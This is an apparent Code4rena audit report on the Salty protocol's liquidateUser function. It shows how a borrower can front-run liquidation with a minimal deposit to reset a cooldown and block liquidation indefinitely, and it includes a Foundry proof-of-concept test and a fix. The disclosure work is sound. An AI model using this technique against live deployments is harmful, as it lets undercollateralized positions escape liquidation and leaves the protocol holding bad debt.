Liquidations Blocked by Upkeep Timer When Decreasing Liquidated Users' Shares

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L140
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L97
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L57

Vulnerability details

Summary:

The Protocol's liquidateUser function is designed to handle positions that fall under the minimum collateral ratio. This function transfers out the position's collateral to cover the debt and sets the liquidated user's share to zero. However, the method used to decrease a user's share incorporates a timer that limits the frequency of share adjustments. This timer can be exploited by users facing liquidation, allowing them to block the liquidation process.

Vulnerability Details:

The liquidateUser function interacts with the _decreaseUserShare function in the StakingRewards contract to reset a user's shares upon liquidation.

function liquidateUser(address wallet) external nonReentrant {
        ...
        // Decrease the user's share of collateral as it has been liquidated and they no longer have it.
        _decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, true);
        ...
    }

The issue arises from the cooldown feature within _decreaseUserShare, which restricts the frequency of modifying a user's position. When the cooldown is active, it blocks the liquidation process, even if the user's position is eligible for liquidation based on their collateral status. The liquidateUser function currently sets useCooldown to true, thereby enabling this cooldown mechanism.

function _decreaseUserShare(address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown)
        internal
    {
        ...
        if (useCooldown) {
            if (
                msg.sender != address(exchangeConfig.dao()) // DAO doesn't use the cooldown
            ) {
                require(block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire");

                // Update the cooldown expiration for future transactions
                user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
            }
        }
        ...
    }

Impact

• Users can exploit this mechanism to prevent their positions from being liquidated by front running a liquidate call with a minimal increase in their share, resetting the cooldown timer. This can be repeated, effectively blocking the liquidation for as long as the user wants at minimal cost.
• Additionally, even non-malicious users might inadvertently trigger this issue, leading to undercollateralized positions that cannot be liquidated.

This situation will lead to the protocol incurring debt from undercollateralized positions, thus affecting its overall stability.

Proof Of Concept

function testBlockLiquidation() public {
    // Total needs to be worth at least $2500
    uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
    uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();
    (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
    // Alice will deposit collateral and borrow max USDS
    vm.startPrank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );
    // Deposit again
    vm.warp( block.timestamp + 1 hours );
    collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );
    vm.stopPrank();
    // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
    vm.prank(DEPLOYER);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false );
    vm.startPrank(alice);
    // alice borrow max again
    vm.warp( block.timestamp + 1 hours);
    uint maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
    collateralAndLiquidity.borrowUSDS( maxUSDS );
    vm.stopPrank();
    // Artificially crash the collateral price
    _crashCollateralPrice();
    // Delay before the liquidation
    vm.warp( block.timestamp + 1 days );
    // Alice front run liquidation with minimum deposit to block the liquidation
    vm.prank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( 1e4, 1e4, 0, block.timestamp, false );
    // check if alice can be liquidated
    (bool canLiquidate) = collateralAndLiquidity.canUserBeLiquidated(alice);
    assertEq(canLiquidate, true);
    // Liquidate Alice's position will fail
    vm.startPrank(bob);
    vm.expectRevert("Must wait for the cooldown to expire");
    collateralAndLiquidity.liquidateUser(alice);
    vm.stopPrank();
}

Tools Used:

• Manual analysis
• Foundry

Recommendation:

By setting the useCooldown parameter to false in the _decreaseUserShare function call within liquidateUser, liquidations will no longer be hindered by the cooldown period. This change will prevent the exploitation of the cooldown feature to avoid liquidation.

function liquidateUser(address wallet) external nonReentrant {
        ...
        // Decrease the user's share of collateral as it has been liquidated and they no longer have it.
        _decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, false);
        ...
    }

Assessed type

DoS

[c4-judge]

Picodes marked the issue as duplicate of #312

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes removed the grade

[c4-judge]

Picodes marked the issue as satisfactory